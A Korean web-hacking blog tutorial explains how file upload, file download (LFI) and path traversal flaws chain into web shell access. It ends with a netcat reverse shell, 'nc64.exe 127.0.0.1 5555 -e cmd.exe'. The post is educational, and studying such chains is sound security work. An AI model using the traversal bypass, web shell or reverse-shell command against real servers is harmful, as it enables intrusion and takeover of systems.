file upload & download & reverse shell

2024. 11. 15. 03:16Web Security/웹 해킹

파일 업로드 취약점은 os command 취약점과 같은 영향을 서버에 미치지만, os command와 달리 많은 사이트에서 발생된다. 파일 업로드 취약점을 공부하다보면 몇가지 의문점이 생길 수 있다. 이에 리얼월드에 어떻게 취약점들이 연계되어 진행되는지 알아보도록 하겠다.

 

 

file upload 취약점

 위 취약점의 경우 웹 디렉토리에 파일이 업로드 가능할 때, WAS가 업로드한 파일을 웹 스크립트로 받아드려 해석할 때 발생될 수 있는 취약점이다. 

 

 만약 웹 업로드 경로가 웹 디렉토리 외부에 업로드 된다면 위 취약점이 발생하지 않는다. 물론 upload../../web_dic/upload.php 와 같은 방식으로 우회하면 된다. 

 

1. 웹 쉘 업로드 가능

2. 웹 쉘이 웹 디렉토리에 업로드 되어야 함

3. 웹 쉘이 접근 가능해야됨

 

웹 쉘이란?

웹 페이지에서 서버에 시스템 명령어를 내릴 수 있는 것이다. 공격용 악성스크립라고도 불린다. 

이런한 웹 쉘은 시스템 함수를 사용하는 것이 특징이다. 

 

 

공격은 아래 사진처럼 업로드 기능은 페이지가 존재할 경우, 진행될 수 있다.

 

아래 사진처럼 쉘 코드가 업로드 가능하다. 

 

웹 쉘 코드 작성

 

 

웹 쉘 접근(파일 다운로드)

웹 쉘를 실행 시키면 된다. 실행시키기 위해서는 접근해야 된다. 하지만 구체적으로 어디에 우리의 파일이 존재하는지 모른다.  이때 파일 다운로드 취약점(LFI)을 이용하면 된다

 

 

 

파일 다운로드 받을 때 다음과 같은 경로에서 파일을 다운로드 받는다. download.php의 소스코드가 존재한다면 우리는 우리의 파일이 어디서 다운받고 있는지 확인이 가능하며, 추가적으로 우리 파일이 어디에 존재하는지 알 수 있다.

 

즉, 소스코드드를 다운받은 뒤에 우리의 파일의 찾고, 파일이 웹 디렉토리 밖에 위치한다면, 웹 디렉토리 안에 넣고, 웹 디렉토리 안에 있다면 접근하면 될 것이다.

 

파일 다운로드 취약점(LFI)

 

파일이 존재할 때

 

파일이 존재하지 않을 때

 

download.php와 command.php 소스코드

 

위를 통해서 다양한 정보를 알 수 있다. 

 

웹 디렉토리

 ㄴ command.php

 ㄴ download.php

 ㄴ upload

      ㄴ shell_code.php

 

접근하여 dir 명령어를 내린 결과이다. 리눅의 경우 ls이다.

 

 

reverse shell

리버스 쉘 설정할 것이다.

 

리버스 쉘을 설정하는 이유는 방화벽에서 다양한 인바운드 트래픽을 필터링하고 있기에 더욱 쉽게 자원을 탈취하기 위함이 있다. 

 

그 이외에도, 지속적이고 편한 접근을 위해서 리버스 쉘을 연결 시킨다.

 

리버스쉘에 사용되는 도구에는 netcat이 존재한다. netcat 파일을 업로드 해준다. (curl 명령어로 다운로드 받아도 됨)

netcat 다운로드 링크 : https://eternallybored.org/misc/netcat/

 

일단 netcat으로 5555포트로 리스닝을 해준다.

 

 

그 이후 nc64.exe 127.0.0.1 5555 -e cmd.exe 로 리버스 쉘을 연결한다(리눅스의 경우 bin/bash 나 bin/shell로 연결하면 됨)

 

 

 

리버스 쉘 연결됨.

'Web Security > 웹 해킹' 카테고리의 다른 글

ByPass WAF using HTTP header  (0) 2025.01.11
PHP Session Poisoning using LFI  (0) 2025.01.09
blind sql injection  (1) 2024.10.29
sql injection CTF vs real world. finger print  (0) 2024.10.27
SQL injection 취약 부분 찾기  (0) 2024.10.24